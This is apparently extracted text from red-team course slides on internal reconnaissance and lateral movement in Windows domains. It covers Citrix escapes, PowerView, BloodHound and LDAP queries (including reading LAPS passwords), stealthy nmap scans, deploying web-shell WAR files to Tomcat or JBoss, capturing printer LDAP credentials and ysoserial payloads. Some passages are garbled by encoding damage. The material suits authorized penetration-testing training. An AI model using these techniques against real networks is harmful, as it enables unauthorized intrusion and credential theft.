information about their internally exposed services

They may have a Citrix portal internally that may allow you to connect 
with the user you compromised; once you launch the Citrix application, 
you may find a Citrix escape and compromise a server

Extra point for Citrix: the server is usually less protected than the 
endpoints
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The most typical Citrix escape 
relies on the open or save 
window. If you have office 
software published, you can 
ŜǎŎŀǇŜ ǘƘŜ άǎŀƴŘōƻȄέ

Right click to create a file 

Then right click on the file and 
ǊŜƴŀƳŜ ƛǘ ǿƛǘƘ ŀ άΦōŀǘέ 
extension
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Right click again to edit the file Add the command you want 
to run

Right click and click 

Open to run the bat file
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Citrix in the wild
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If you can browse the 
Internet through a link in 
the Citrix application, you 
have access to a shell 
ǳǎƛƴƎ ǘƘŜ άŦƛƭŜΥκκέ url
handler
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InternalCitrix are alsogreat, becauseyoucan leverageinternal
passwordsprayingto accessthe InternalCitrix and compromise 
internalservers

Internal Citrix instance tend to have MFA disabled
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Quick note on Citrix:

Citrix exposes a sharedfolder with all the usersΩ ǇǊƻŦƛƭŜǎΦ LŦ youhave 
admin accessor the permission are misconfigured, youcan update the 
data pushedon the Citrix client

Copyinga binaryin the startup folder of the profile will executeit on 
the targeteduser session
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Other commands of interest that may help perform reconnaissance at the network 
level:

Ároute print: Discover other networks

ÁnslookupDOMAINΥ 5ƛǎŎƻǾŜǊ ǎŜǊǾŜǊΩǎ ǊŀƴƎŜΦ Nslookupon the domain will return 
DCs 

Ánltest / dclist:DOMAIN: List DCs including RODC and PDC. PDC may be in a more 
critical subnet

Ánetstat ςan | netstat ςa: List currently established connection

Áipconfig /all: Gather information about the networking interface. You may find a 
VPN tunnel already established to their sensitive network
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nslookup %USERDOMAIN% will return all the DCs

Or usingC#:

ÁDns.GetHostByName

ÁDns.Resolve
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InternalReconnaissance

Other commands of interest that may help perform reconnaissance 
regarding the network:

NOTE THAT THESE ARE NOT EXTREMELY STEALTH BUT PROVIDE GOOD 
VISIBILITY

BloodHound, SharpHoundand PowerViewallow you to gather 
information about users, computers, sessions, and groups
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You can implement most of the featuresas standalone utility:

ÁGetuser LDAP (&( objectCategory =user)

ÁGetcomputers LDAP (&( objectCategory =computer)

ÁGetgroups (&( objectCategory =group)

ÁGetsessions Windows API NetSessionEnum

ÁGet local admin Windows API NetLocalGroupGetMembers
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BloodHoundutility providesa lot of 
options. makesure youcarefullypickthe 
one that will remainas stealthas possible 
basedon yourprior understandingof the 

network

Samegoeswith PowerView, there are 
tons of commandsthat can beextremely

useful, but extremelynoisy
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Queryingsessions on the remote system:

ÁYou querythe remotesystem

for(computer) {

query computer

}

ÁYou are goingto connectto a lot of assets
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PowerViewcan be used to retrieve list of local groups and users that 
possess local administrative privileges

PS> Get- NetComputer | Get - NetLocalGroup

This command will retrieve the list of computers and then connect to 
each of them asking for groups. This relies on the 
NetLocalGroupGetMembers API
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User grantedwith local administratorprivileges Group grantinglocal administrative privileges
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The previous command will generate the output and can easily be used 
ǘƻ ǎŜŀǊŎƘ ǘƘǊƻǳƎƘ ƛǘ ƻŦŦƭƛƴŜΦ Lǘ ŘƻŜǎƴΩǘ ŘǊƻǇ ŦƛƭŜ ƻƴ ǘƘŜ ǘŀǊƎŜǘ ǎȅǎǘŜƳ

This command may take a while to run
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The same concept can be used to find hosts where the current users 
are granted with local administrative privileges
Find - LocalAdminAccess

The downside of this command is that it is perform pretty much the 
same as GetComputer + Get - NetLocalGroup + Invoke - CheckLocalAdminAccess on all 
ǎȅǎǘŜƳǎ ōǳǘ ȅƻǳ ŘƻƴΩǘ ƎŜǘ ǘƘŜ ƻǳǘǇǳǘ

Meaning that every time you want to hunt a user, you will perform 
the same action
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FOR EXAMPLE: POWERVIEWCAN BEUSEDTO 
LISTACTIVE SESSIONS

PS> GET-NETCOMPUTER| GET-NETSESSION

THIS COMMAND WILL RETRIEVE THE LIST OF 
COMPUTERS AND THEN CONNECT TO EACH 
OF THEM ASKING FOR SESSION.THIS RELIES 
ON THE NETSESSIONENUMAPI

372



Internal Reconnaissance

PowerViewoffers 
several cmdlets 
that may be quite 
useful

SharpViewoffers 
the same kind of 
features
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BloodHoundoffers the same kind of features, and the output (JSON) 
can be linked in a neo4js system to perform query efficiently

The downside is that the json is generated on the client and it will 
DROP FILES on the targets

The JSON processing is also time consuming in an average network; the 
task will take at least 4 hours to complete
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hƴŎŜ ȅƻǳ ƘŀǾŜ 5ƻƳŀƛƴ !ŘƳƛƴǎ ŎǊŜŘŜƴǘƛŀƭǎΣ ȅƻǳ Ŏŀƴ ŀƭǎƻ Ƙǳƴǘ ǳǎŜǊΩǎ 
computer

Let say the intranet says that the owner of the SuperDatabaseis 
managed by John Smith

You can search John Smith samaccountnameusing:

https://github.com/Mr-
Un1k0d3r/RedTeamPowershellScripts/blob/master/scripts/Search-
FullNameToSamAccount.ps1
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Once you have the samaccountname, you can query logon events across DCs and 
find his workstation:

https://github.com/Mr-
Un1k0d3r/RedTeamPowershellScripts/blob/master/scripts/Search-
EventForUser.ps1

You can search across DCs usingςFindDCTrueor force a single host usingς
ComputerNamename

376

. mysite.com

. mysite.com
. mysite.com

. mysite.com

. mysite.com
. mysite.com
. mysite.com

. mysite.com
. mysite.com

. mysite.com

. mysite.com

- calon. mysite.com



InternalReconnaissance

Hunting for easy targets
Printers with default credentials

These printers may also have LDAP configured and expose a more privileged 
account 
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Simply change the LDAP server and wait for the credentialsto besent 
in clear
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Managed By can grant local admin without a group

(objectCategory=user)(objectClass=user)(distinguishedName=%manage
dBy%)

Classic user attributes

(&(objectClass=user))  
name,givenname,displayname,samaccountname,adspath,distinguished
name,memberof,ou,mail,proxyaddresses,lastlogon,pwdlastset,mobile,s
treet,userpassword
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LAPS password

(&(objectClass=computer)) 

ms-mcs-AdmPwd

Classic computer attributes

(&(objectClass=computer)) 
name,displayname,operatingsystem,description,adspath,objectcategor
y,serviceprincipalname,distinguishedname,cn,lastlogon,managedby,ma
nagedobjects
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Classic group attributes

(&(objectClass=group)) 
name,adspath,distinguishedname,member,memberof
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Classic password settings attributes

(&(objectClass=msDS-PasswordSettings)) 
name,distinguishedName,msDS-MinimumPasswordLength,msDS-
PasswordHistoryLength,msDS-PasswordComplexityEnabled,msDS-
PasswordReversibleEncryptionEnabled,msDS-LockoutThreshold,msDS-
PasswordSettingsPrecedence
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Classic SPN query

(&(objectcategory=computer)(servicePrincipalName=*))
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Nothing useful yet? 

Enumeratesharesyouhave accessto usingPowerView, SharpViewor C#

Invoke-ShareFinder

Finds (non-standard) shares on hosts in the local domain

Invoke-FileFinder

Finds potentially sensitive files on hosts in the local domain
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Stillnothing? Check domaintrust: you
mayhave bidirectionaltrust 
betweenyourdomainand 

other domains

Thesedomainsmayexpose 
interestingcomputers. 

Time to do the 
reconnaissance againon 

the other domain
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Still out of luck?

Hunt for potentially vulnerable OS. Active Directory does have an 
operation system attribute

The C# utility can dump the information about all of the computers

https://github.com/Mr-Un1k0d3r/RedTeamCSharpScripts

This can be run via execute-assembly too
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LDAP is full of surprise LdapAdmincan 
help you discover attribute you never 
heard of before

http://www.ldapadmin.org/down
load/ldapadmin.html
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LDAP objectspermission is stored in the nTSecurityDescriptor
usingthe SDDL format

This information is accesibleto regularauthenticateddomainuser
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https://github.com/Mr -
Un1k0d3r/ADHuntTool/

SDDL will be translated to human readable format

https://github.com/Mr-Un1k0d3r/ADHuntTool/
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RUNNING EXPLOIT WARNING

We previously stated that, like your toolset, make sure you understand 
how the exploit works to minimize the risk of crashing the remote 
target
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Not getting anywhere?

A good start: You can try to run light scan to look for portal, usually ports 
80,443,8080 and 8443

ÁIf you are running the scan remotely using nmap, make sure you are using 
the ςsToption (Full TCP connect option) to blend in as legitimate traffic

ÁFull TCP connection will look less suspicious than a syn scan

ÁAlways make sure you remove the ping ςPnonce again or your ping may be 
detected as a ping sweep

ÁA typical nmapscan performed during a red team:
nmapƵsT ƵPn Ƶvvvv Ƶp80,443,8080,8443 ƵoA output 10.0.0.0/24
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I highly recommendwriting a smallport scanner usingC# or C

You can simplyconnect(full TCP connectby default) to the remote
host, usingsocket to confirmsomethingisalive on the other side
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Same technique used during the external reconnaissance can be used 
to fingerprint the host using C# equivalent of aquatone through your 
shell

!ǉǳŀǘƻƴŜ ǿƛƭƭ ǿƻǊƪ ƻƴ ōƻǘƘ [ƛƴǳȄ ŀƴŘ ²ƛƴŘƻǿǎΣ ōŜŎŀǳǎŜ ƛǘΩǎ ŀ Ǝƻ 
binary
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The reason why port 8080 and 8443 are part of the scan?

Management console

Several other ports can be used, but scan is bad when it come to red team. You may 
be able to identify server purpose by looking at the description or the name in 

the Active Directory
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There are several known portals that run on port 8080

It is not rare that you will find development environment running Jboss/ Tomcat and the rest of the 
family without enforcing authentication

Even if the systems are considered to be development, they may be joined to the domain exposing 
domain credentials

They can be used to execute code
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A war file is pretty much a zip with a specific structure

Folder structure

web.xml inside the WEB-INF folder
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ÁOnce it isdeployedon the server, youwill gain code executionwithin
the contextof the application

ÁUsually, a web shellis the first stage, and it can be usedto upgrade to 
a full RAT

https://ringzer0ctf.com/static/cmd.war
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Tomcat, Jenkins and Jbossover endpointsthat can be usedto run 
arbitrarycode. You can hunt for theseusingthe followingtools

Powershell

https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/Find-
Fruit.ps1

C#

https://github.com/Mr-
Un1k0d3r/RedTeamCSharpScripts/blob/master/webhunter.cs
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Jenkins build artifact maycontainsjuicyinformation

Buildwill generateartifact and test cases
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Typicalartifact output file
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In this case, an automation accountwasusedto login into the 
production service usingOkta(MFA solution)

But the automation accounthadMFA disabled, sinceit neededto be
automatedto be able to perform the check
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Severalother productsmayhave such
featuredΦ 5ƻƴΩǘ hesitateto playwith

them if youcan accessthem with default 
credentials.

Never seenthe solution before? Google 
mayknow the default password.
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I did find an aircraftcontrollerŎƻƴǎƻƭŜΩǎdefault credentialsin their
online documentation

Everythingthat is connectedtend to have a portal
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Several products expose services that accept Java serialized objects

Such features allow the execution of arbitrary code on the remote 
system

Java RMI (Remote Method Invocation) is acting like an RPC endpoint 
but lack of authentication sometimes

Ysoserialcan be used to craft the serialized object needed

https://github.com/frohoff/ysoserial
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You can generate payload using the following command:
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